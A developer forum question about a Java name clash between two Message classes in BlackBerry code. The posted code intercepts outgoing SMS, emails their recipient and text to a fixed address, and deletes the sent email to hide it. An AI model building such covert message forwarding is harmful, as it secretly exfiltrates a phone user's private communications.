title: Error emailing outgoing sms
body: <p>Is there anyway to listen for an outbound sms without having to import <code>javax.wireless.messaging</code>?</p>
  
  <p>I'm trying to write an app that listens for an sms sent from the device then emails the message of the sms, but I get the error:</p>
  
  <blockquote>
    <p>reference to Message is ambiguous, both class
    javax.wireless.messaging.Message in javax.wireless.messaging and class
    net.rim.blackberry.api.mail.Message in net.rim.blackberry.api.mail
    match</p>
  </blockquote>
  
  <p>I need to import <code>net.rim.blackberry.api.mail.Message</code> in order to sent an email.</p>
  
  <p>Is there a way to get around this as it seems that the two packages are clashing.</p>
  
  <p>My code:</p>
  
  
  
  <pre class="lang-java prettyprint-override"><code>public void notifyIncomingMessage(MessageConnection messageconnection) {}
  
  
  public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {
  
      try {
          String address = message.getAddress();
  
          String msg = null;
  
          if ( message instanceof TextMessage ) {
              TextMessage tm = (TextMessage)message;
              msg = tm.getPayloadText();
  
          } else if (message instanceof BinaryMessage) {
              StringBuffer buf = new StringBuffer();
              byte[] data = ((BinaryMessage) message).getPayloadData();
              msg = new String(data, "UTF-8");
  
              Store store = Session.getDefaultInstance().getStore();
  
              Folder[] folders = store.list(Folder.SENT);
              Folder sentfolder = folders[0];
  
              Message in = new Message(sentfolder);
              Address recipients[] = new Address[1];
  
              recipients[0]= new Address("me@us.com", "user");
  
              in.addRecipients(Message.RecipientType.TO, recipients);
              in.setSubject("Outgoing sms");
              in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);
  
              in.setPriority(Message.Priority.HIGH);
  
              Transport.send(in);
  
              in.setFlag(Message.Flag.OPENED, true);
              Folder folder = in.getFolder();
              folder.deleteMessage(in);               
          }
      } catch (IOException me) {
          System.out.println(me);
      }
  }
  } 
  </code></pre>